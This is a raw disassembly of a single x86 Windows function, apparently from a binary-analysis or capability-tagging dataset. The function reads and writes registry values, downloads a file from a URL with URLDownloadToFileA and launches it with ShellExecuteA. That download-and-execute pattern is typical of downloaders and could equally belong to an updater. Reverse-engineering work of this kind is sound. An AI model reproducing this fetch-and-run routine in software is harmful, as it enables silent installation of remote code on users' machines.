Function at 0x40e7d0
Capabilities:
Create process on windows
Download url
Get common file path
Query or enumerate registry value
Receive data
Set registry value

Disassembly:
push 0xffffffffffffffff
push 0x444359
mov eax, dword fs:[0]
push eax
mov eax, 0x274c
call fcn.00431dd0
mov eax, dword [0x4564c4]
xor eax, esp
mov dword [esp + 0x2748], eax
push ebx
push ebp
push esi
push edi
mov eax, dword [0x4564c4]
xor eax, esp
push eax
lea eax, [esp + 0x2760]
mov dword fs:[0], eax
push 0x44b9af
lea ecx, [esp + 0x18]
mov dword [esp + 0x276c], 1
call fcn.00403330
mov byte [esp + 0x2768], 2
mov ebp, dword [esp + 0x2774]
push ecx
add ebp, 0xfffffff0
mov dword [esp + 0x2c], esp
mov esi, esp
push ebp
mov dword [esp + 0x4c], ebp
call fcn.00403490
add eax, 0x10
mov dword [esi], eax
mov byte [esp + 0x2770], 3
mov edi, dword [esp + 0x2778]
add edi, 0xfffffff0
mov dword [esp + 0x34], esp
mov esi, esp
push edi
mov dword [esp + 0x38], edi
call fcn.00403490
add eax, 0x10
mov dword [esi], eax
add esp, 4
lea eax, [esp + 0x24]
push eax
mov byte [esp + 0x2774], 2
call fcn.004093e0
push eax
lea ecx, [esp + 0x18]
mov byte [esp + 0x276c], 4
call fcn.00403410
mov byte [esp + 0x2768], 2
mov eax, dword [esp + 0x1c]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40e8c6
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov ecx, dword [esp + 0x14]
push 0x44b9af
push ecx
call fcn.0042f58c
xor ebx, ebx
add esp, 8
cmp eax, ebx
setne al
cmp al, bl
je 0x40f09e
mov eax, dword [esp + 0x14]
push ecx
add eax, 0xfffffff0
mov dword [esp + 0x2c], esp
mov esi, esp
push eax
call fcn.00403490
add esp, 4
lea edx, [esp + 0x20]
add eax, 0x10
push edx
mov dword [esi], eax
call fcn.00405cd0
push eax
lea ecx, [esp + 0x18]
mov byte [esp + 0x276c], 5
call fcn.00403410
mov byte [esp + 0x2768], 2
mov eax, dword [esp + 0x1c]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40e947
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
push 0x3ff
lea ecx, [esp + 0x361]
push ebx
push ecx
mov byte [esp + 0x368], bl
call fcn.00431520
add esp, 0xc
push ebx
push 0x1a
lea edx, [esp + 0x364]
push edx
push ebx
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
push 0x44c338
lea eax, [esp + 0x360]
push 0x400
push eax
call fcn.0042f59f
add esp, 0xc
mov dword [esp + 0x24], ebx
lea ecx, [esp + 0x28]
push ecx
lea edx, [esp + 0x1c]
push edx
push ebx
push 0x2001f
push ebx
push ebx
mov byte [esp + 0x2780], 6
mov eax, dword [0x45a554]
mov ecx, dword [0x457a90]
push ebx
push eax
push ecx
mov dword [esp + 0x3c], ebx
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
cmp eax, ebx
jne 0x40e9d2
mov edx, dword [esp + 0x18]
mov dword [esp + 0x24], edx
mov eax, dword [esp + 0x14]
cmp dword [eax - 0xc], ebx
jl 0x40f08d
push 0x44c33c
push eax
call fcn.0042e324
add esp, 8
cmp eax, ebx
je 0x40f08d
sub eax, dword [esp + 0x14]
mov esi, eax
cmp esi, 0xffffffff
je 0x40f08d
push 0x103
lea eax, [esp + 0x159]
push ebx
push eax
mov byte [esp + 0x160], bl
call fcn.00431520
push 0x103
lea ecx, [esp + 0x269]
push ebx
push ecx
mov byte [esp + 0x270], bl
call fcn.00431520
push 0x103
lea edx, [esp + 0x6d]
push ebx
push edx
mov byte [esp + 0x74], bl
call fcn.00431520
push 0xfff
lea eax, [esp + 0x785]
push ebx
push eax
mov byte [esp + 0x78c], bl
call fcn.00431520
push 0xfff
lea ecx, [esp + 0x1791]
push ebx
push ecx
mov byte [esp + 0x1798], bl
call fcn.00431520
add esp, 0x3c
push 0x44b9af
lea ecx, [esp + 0x1c]
call fcn.00403330
push 0x44b9af
lea ecx, [esp + 0x24]
mov byte [esp + 0x276c], 7
call fcn.00403330
add esi, 2
push esi
lea edx, [esp + 0x44]
push edx
lea ecx, [esp + 0x1c]
mov byte [esp + 0x2770], 8
call fcn.0040f140
mov byte [esp + 0x2768], 9
mov ecx, dword [eax]
mov esi, dword [esp + 0x14]
lea eax, [ecx - 0x10]
add esi, 0xfffffff0
cmp eax, esi
je 0x40eb1f
cmp dword [esi + 0xc], ebx
lea edi, [esi + 0xc]
jl 0x40eb11
mov edx, dword [eax]
cmp edx, dword [esi]
jne 0x40eb11
push eax
call fcn.00403490
mov ebp, eax
add esp, 4
or eax, 0xffffffff
lock xadd dword [edi], eax
dec eax
test eax, eax
jg 0x40eb08
mov ecx, dword [esi]
mov edx, dword [ecx]
mov eax, dword [edx + 4]
push esi
call eax
add ebp, 0x10
mov dword [esp + 0x14], ebp
jmp 0x40eb1f
mov eax, dword [ecx - 0xc]
push eax
push ecx
lea ecx, [esp + 0x1c]
call fcn.00401760
mov byte [esp + 0x2768], 8
mov eax, dword [esp + 0x40]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40eb47
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esp + 0x14]
cmp dword [eax - 0xc], ebx
jge 0x40eb55
or eax, 0xffffffff
jmp 0x40eb70
push 0x44c308
push eax
call fcn.0042e324
add esp, 8
cmp eax, ebx
jne 0x40eb6c
or eax, 0xffffffff
jmp 0x40eb70
sub eax, dword [esp + 0x14]
push eax
lea ecx, [esp + 0x40]
push ecx
lea ecx, [esp + 0x1c]
call fcn.0040f1f0
mov eax, dword [eax]
push eax
lea edx, [esp + 0x25c]
push 0x104
push edx
call fcn.0042f610
mov eax, dword [esp + 0x48]
add eax, 0xfffffff0
add esp, 0xc
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40ebb7
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esp + 0x14]
cmp dword [eax - 0xc], ebx
jge 0x40ebc5
or eax, 0xffffffff
jmp 0x40ebe0
push 0x44c340
push eax
call fcn.0042e324
add esp, 8
cmp eax, ebx
jne 0x40ebdc
or eax, 0xffffffff
jmp 0x40ebe0
sub eax, dword [esp + 0x14]
add eax, 2
push eax
lea ecx, [esp + 0x38]
push ecx
lea ecx, [esp + 0x1c]
call fcn.0040f140
mov byte [esp + 0x2768], 0xa
mov ecx, dword [eax]
mov esi, dword [esp + 0x14]
lea eax, [ecx - 0x10]
add esi, 0xfffffff0
cmp eax, esi
je 0x40ec50
cmp dword [esi + 0xc], ebx
lea edi, [esi + 0xc]
jl 0x40ec42
mov edx, dword [eax]
cmp edx, dword [esi]
jne 0x40ec42
push eax
call fcn.00403490
mov ebp, eax
add esp, 4
or eax, 0xffffffff
lock xadd dword [edi], eax
dec eax
test eax, eax
jg 0x40ec39
mov ecx, dword [esi]
mov edx, dword [ecx]
mov eax, dword [edx + 4]
push esi
call eax
add ebp, 0x10
mov dword [esp + 0x14], ebp
jmp 0x40ec50
mov eax, dword [ecx - 0xc]
push eax
push ecx
lea ecx, [esp + 0x1c]
call fcn.00401760
mov byte [esp + 0x2768], 8
mov eax, dword [esp + 0x34]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40ec78
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esp + 0x14]
cmp dword [eax - 0xc], ebx
jge 0x40ec86
or eax, 0xffffffff
jmp 0x40eca1
push 0x44c308
push eax
call fcn.0042e324
add esp, 8
cmp eax, ebx
jne 0x40ec9d
or eax, 0xffffffff
jmp 0x40eca1
sub eax, dword [esp + 0x14]
push eax
lea ecx, [esp + 0x3c]
push ecx
lea ecx, [esp + 0x1c]
call fcn.0040f1f0
mov eax, dword [eax]
push eax
lea edx, [esp + 0x54]
push 0x104
push edx
call fcn.0042f610
mov eax, dword [esp + 0x44]
add eax, 0xfffffff0
add esp, 0xc
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40ece5
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esp + 0x14]
cmp dword [eax - 0xc], ebx
jge 0x40ecf3
or eax, 0xffffffff
jmp 0x40ed0e
push 0x44c344
push eax
call fcn.0042e324
add esp, 8
cmp eax, ebx
jne 0x40ed0a
or eax, 0xffffffff
jmp 0x40ed0e
sub eax, dword [esp + 0x14]
add eax, 2
push eax
lea ecx, [esp + 0x50]
push ecx
lea ecx, [esp + 0x1c]
call fcn.0040f140
mov byte [esp + 0x2768], 0xb
mov ecx, dword [eax]
mov esi, dword [esp + 0x14]
lea eax, [ecx - 0x10]
add esi, 0xfffffff0
cmp eax, esi
je 0x40ed7e
cmp dword [esi + 0xc], ebx
lea edi, [esi + 0xc]
jl 0x40ed70
mov edx, dword [eax]
cmp edx, dword [esi]
jne 0x40ed70
push eax
call fcn.00403490
mov ebp, eax
add esp, 4
or eax, 0xffffffff
lock xadd dword [edi], eax
dec eax
test eax, eax
jg 0x40ed67
mov ecx, dword [esi]
mov edx, dword [ecx]
mov eax, dword [edx + 4]
push esi
call eax
add ebp, 0x10
mov dword [esp + 0x14], ebp
jmp 0x40ed7e
mov eax, dword [ecx - 0xc]
push eax
push ecx
lea ecx, [esp + 0x1c]
call fcn.00401760
mov byte [esp + 0x2768], 8
mov eax, dword [esp + 0x4c]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40eda6
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esp + 0x14]
cmp dword [eax - 0xc], ebx
jge 0x40edb4
or eax, 0xffffffff
jmp 0x40edcf
push 0x44c308
push eax
call fcn.0042e324
add esp, 8
cmp eax, ebx
jne 0x40edcb
or eax, 0xffffffff
jmp 0x40edcf
sub eax, dword [esp + 0x14]
push eax
lea ecx, [esp + 0x34]
push ecx
lea ecx, [esp + 0x1c]
call fcn.0040f1f0
mov eax, dword [eax]
push eax
lea edx, [esp + 0x760]
push 0x1000
push edx
call fcn.0042f610
mov eax, dword [esp + 0x3c]
add eax, 0xfffffff0
add esp, 0xc
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40ee16
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
lea eax, [esp + 0x75c]
lea edx, [eax + 1]
mov cl, byte [eax]
add eax, 1
cmp cl, bl
jne 0x40ee20
sub eax, edx
push eax
lea ecx, [esp + 0x760]
push ecx
lea ecx, [esp + 0x20]
call fcn.00401760
mov edx, dword [esp + 0x18]
push 0x2f
push edx
call fcn.0042f45d
add esp, 8
cmp eax, ebx
jne 0x40ee55
or eax, 0xffffffff
jmp 0x40ee59
sub eax, dword [esp + 0x18]
add eax, 1
push eax
lea eax, [esp + 0x4c]
push eax
lea ecx, [esp + 0x20]
call fcn.0040f140
mov byte [esp + 0x2768], 0xc
mov ecx, dword [eax]
mov esi, dword [esp + 0x20]
lea eax, [ecx - 0x10]
add esi, 0xfffffff0
cmp eax, esi
je 0x40eec9
cmp dword [esi + 0xc], ebx
lea edi, [esi + 0xc]
jl 0x40eebb
mov edx, dword [eax]
cmp edx, dword [esi]
jne 0x40eebb
push eax
call fcn.00403490
mov ebp, eax
add esp, 4
or eax, 0xffffffff
lock xadd dword [edi], eax
dec eax
test eax, eax
jg 0x40eeb2
mov ecx, dword [esi]
mov edx, dword [ecx]
mov eax, dword [edx + 4]
push esi
call eax
add ebp, 0x10
mov dword [esp + 0x20], ebp
jmp 0x40eec9
mov eax, dword [ecx - 0xc]
push eax
push ecx
lea ecx, [esp + 0x28]
call fcn.00401760
mov byte [esp + 0x2768], 8
mov eax, dword [esp + 0x48]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40eef1
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
lea ecx, [esp + 0x35c]
push ecx
lea edx, [esp + 0x1760]
push 0x1000
push edx
call fcn.0042f610
mov eax, dword [esp + 0x2c]
push eax
lea ecx, [esp + 0x176c]
push 0x1000
push ecx
call fcn.0042f59f
mov edi, dword [esp + 0x3c]
add esp, 0x18
lea edx, [esp + 0x1c]
push edx
lea eax, [esp + 0x158]
push eax
lea ecx, [esp + 0x30]
push ecx
push ebx
lea edx, [esp + 0x268]
push edx
push edi
mov dword [esp + 0x34], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
cmp eax, ebx
jne 0x40ef72
mov eax, dword [esp + 0x28]
cmp eax, 1
je 0x40ef65
cmp eax, 2
jne 0x40ef72
cmp dword [esp + 0x1c], ebx
jne 0x40ef72
mov byte [esp + 0x154], bl
lea eax, [esp + 0x50]
push eax
call fcn.0042f686
lea ecx, [esp + 0x158]
push ecx
mov esi, eax
call fcn.0042f686
add esp, 8
cmp eax, esi
jge 0x40f001
lea edx, [esp + 0x75c]
push edx
call dword [sym.imp.WININET.dll_DeleteUrlCacheEntry]
push ebx
push ebx
lea eax, [esp + 0x1764]
push eax
lea ecx, [esp + 0x768]
push ecx
push ebx
call sub.urlmon.dll_URLDownloadToFileA
cmp eax, ebx
jl 0x40f001
push ebx
push 0x44b9af
push 0x44b9af
lea edx, [esp + 0x1768]
push edx
push str.open
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
lea eax, [esp + 0x50]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, 1
push eax
lea ecx, [esp + 0x54]
push ecx
push 1
push ebx
lea edx, [esp + 0x268]
push edx
push edi
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [esp + 0x14]
cmp dword [eax - 0xc], ebx
jge 0x40f00f
or esi, 0xffffffff
jmp 0x40f02c
push 0x44c33c
push eax
call fcn.0042e324
add esp, 8
cmp eax, ebx
jne 0x40f026
or esi, 0xffffffff
jmp 0x40f02c
sub eax, dword [esp + 0x14]
mov esi, eax
mov byte [esp + 0x2768], 7
mov eax, dword [esp + 0x20]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40f054
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0x2768], 6
mov eax, dword [esp + 0x18]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40f07c
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
cmp esi, 0xffffffff
jne 0x40ea04
mov ebp, dword [esp + 0x44]
mov edi, dword [esp + 0x2c]
cmp dword [esp + 0x24], ebx
je 0x40f09e
mov ecx, dword [esp + 0x24]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov byte [esp + 0x2768], 1
mov eax, dword [esp + 0x14]
add eax, 0xfffffff0
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x40f0c6
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0x2768], bl
lea ecx, [edi + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40f0e6
mov ecx, dword [edi]
mov eax, dword [ecx]
mov edx, dword [eax + 4]
push edi
call edx
mov dword [esp + 0x2768], 0xffffffff
lea eax, [ebp + 0xc]
or ecx, 0xffffffff
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x40f10b
mov ecx, dword [ebp]
mov edx, dword [ecx]
mov eax, dword [edx + 4]
push ebp
call eax
mov ecx, dword [esp + 0x2760]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x2748]
xor ecx, esp
call fcn.0042dbc0
add esp, 0x2758
ret 8